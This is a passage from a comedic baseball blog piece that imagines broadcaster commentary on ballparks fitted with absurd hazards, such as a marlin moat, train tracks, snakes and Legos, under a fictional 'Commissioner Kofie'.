Color commentary: This will be ruled Tiger interference and the runners will all advance one base. It’s a strategic move and it absolutely scares the shit out of everyone on the field.
Marlins Park — Miami Marlins: A moat … of marlins
Play-by-play: Stanton hits this high and deep and it lands in the Marlins’ new moat full of marlins, and the outfielders are going to have to enter at their own risk.
Color commentary: I had to google if marlins bite stuff earlier. I’ve heard of shark attacks, but I had never heard of a marlin attack. There is an animal planet YouTube video titled MARLIN IMPALES BOY’S FACE ... so that’s not ideal.
Play-by-play: Yeah, well the good news is that there’s only one marlin, the bad news is that marlins sounds pretty dangerous. I don’t know what Kofie was thinking with this one.
Color commentary: And it looks like the outfielder is waving his glove in the air. The signal for “I give up, this is a home run.”
Play-by-play: This is a pretty smart move too. That marlin is way too close to the baseball this time. We have seen other outfielders succeed in fishing the ball out of the water, no pun intended, because it’s a pretty big moat. This time, however, that marlin was too close for comfort. This will count as a homer for Stanton.
Minute Maid Park – Houston Astros: Bring back the hill. Move the train tracks into the outfield
Play-by-play: This ball is headed to the track. The train tracks, excuse me.
Color commentary: Now this train isn’t fast but it’s still not one that you want to get in front of. These outfielders are going to have to go on the train or wait until it passes over the baseball.
Play-by-play: Well, this one is on the tracks and it’s going to be close. Springer is almost there and ...
Color commentary: I can’t watch.
Play-by-play: ... He MAKES THE CATCH OH MY GOODNESS! HOW ABOUT THAT! Now he has to throw the ball over the train because it’s whizzing by him as we speak.
Color commentary: Yup, that’s right. He can’t see the base paths so he’ll have to rely on muscle memory and hope for the best.
Chase Field – Arizona Diamondbacks: Snakes
Play-by-play: This ball will get through for a base hit. Now the question remains as to how many bases will be taken as that ball is headed for the snakes.
Color commentary: It’s important to remember here that these snakes aren’t diamondbacks, so they’re not poisonous, but they still pack a powerful bite.
Play-by-play: That’s correct. Also, these snakes aren’t big enough to swallow a baseball whole, but they are scary enough so that you won’t feel compelled to go near them. It’s time to see if the outfielders choose to let the runner score or risk getting bitten.
Miller Park – Milwaukee Brewers: A beer pond
Play-by-play: It seems that we’re going to have a shift. The second baseman is heading out to right field.
Color commentary: I’ve never seen a shift like this before.
Play-by-play: It seems like ... oh, he just wants some beer.
Color commentary: I can’t blame him. It’s the 13th inning ... I need some beer myself.
Yankee Stadium – New York Yankees: Desus and Mero
Kid Mero: Y’all know what it is, the number one show on late night ball bags and tonight's guest is OH SHI-
Color commentary: It seems like another ball has landed on the set of Desus & Mero.
Desus: Can y’all ... um ... not hit here? We’re trying to record our guest segment.
Kid Mero: Yeah dawg this is the seventh time we’ve had to record this. AYO Aaron
Aaron Judge: Yeah Mero
Kid Mero: The next person to hit the ball over here, I want you to stomp ‘em out, B.
Aaron Judge: You got it, boss.
Angel Stadium – Los Angeles Angels: Legos
Play-by-play: That ball is hit to right center field and this is going to be really tough to get because of the new Lego here at Angel Stadium.
Color commentary: Commissioner Kofie ruled that you can only wear socks in the outfield when you’re fielding the ball. There are 100 Lego pieces spread out all over the outfield so they are going to have to watch out for the pieces.
Play-by-play: Yeah, some are easy to see while other pieces blend in with the field. Those green Legos are pretty cruel in my opinion, too ... have you ever stepped on a Lego?
Color commentary: Ever since last Christmas I can’t walk around my house without shoes on. I would have bought my kids fidget spinners or something, but those have small parts that they can swallow.
Play-by-play: Kids can swallow Legos too.
Color commentary: Yeah but like those don’t go down smooth so it’s more likely that they’ll get stuck and you can get them out.
Play-by-play: What?
Color commentary: WHAT ARE THEY SUPPOSED TO PLAY WITH?! PACKING PEANUTS?!
Play-by-play: We’ll talk about this more after the play as it looks like Mike Trout just found a green Lego and these won’t end careers but damn that looks painful.
Color commentary: Yup. Other ballparks have snakes, trains and chili ... stepping on a Lego makes the others seem so trivial.
Play-by-play: Anyway, back to the toys thing ... you didn’t get them marbles, did you?
Color commentary: What do I look like?
Play-by-play: You considered getting them fidget spinners, so I don’t know you anymore.
Rogers Centre – Toronto Bluejays: Moving walkways
Play-by-play: That ball is high and now here comes the hard part ... catching a fly ball while being on a moving walkway!
Color commentary: Yeah I didn’t know what these were called before I looked it up. I just always called them flat escalators. These players are going to have to track fly balls while moving. This is the ultimate challenge.
Play-by-play: It’s not a challenge for Jose Bautista, who makes the catch!
Color commentary: Yeah, Baustista makes it look easy. He has the advantage of playing here for half of the season. He makes sure to spend extra time on fly balls in practice. He also says to be aware of when the flat escalat— moving walkways — malfunction.
U.S. Cellular Field – Chicago White Sox: A bunch of white socks
Play-by-play: This ball is grounded and will go through the sea of socks and oh boy, this isn’t going to end well.
Color commentary: Ever since Commissioner Kofie eradicated rain delays, this outfield has become a nightmare. You have to deal with the huge sea of wet socks that are the same color as the baseball. Usually, you’ll see the fielder toss their glove and that’s to help with the digging process.
Play-by-play: Yikes.
Tropicana Field – Tampa Bay Rays: The bubble thing from Willy Wonka and the Chocolate Factory
Play-by-play: This one is BELTED HIGH AND DEEP.
Color commentary: And this ball is going to stay afloat for a while. The bubble room effect from Willy Wonka has been turned on. There is no one on base and the batting team is down, so they have the one-time option to turn on the bubble room!
Play-by-play: Classic scene. “You gotta burp, Charlie!”
Oakland Alameda Coliseum – Oakland A’s: Sandboxes
Play-by-play: This ball will get between the left and center fielder. The good news is that this ball won’t get to the wall. The bad news is that it’s in the sandbox.
Color commentary: Yup, it’s hard trying to run in cleats and sift through the sand at the same time. A true test of patience and balance here. I’m just glad that this was implemented after my career because I would be struggling.
Play-by-play: You won four Gold Gloves.
Color commentary: Yes, but I didn’t have to deal with the same obstacles that this generation has to deal with now, thanks to Commissioner Kofie.
Play-by-play: Ah.
CONCLUSION
This has been a preview of what baseball would sound like under the regime of Commissioner Kofie. I hope you enjoyed this and will elected me/join me in a coup d'etat of whoever the current commissioner is.
(Base)ball is life.
— Commissioner Kofie
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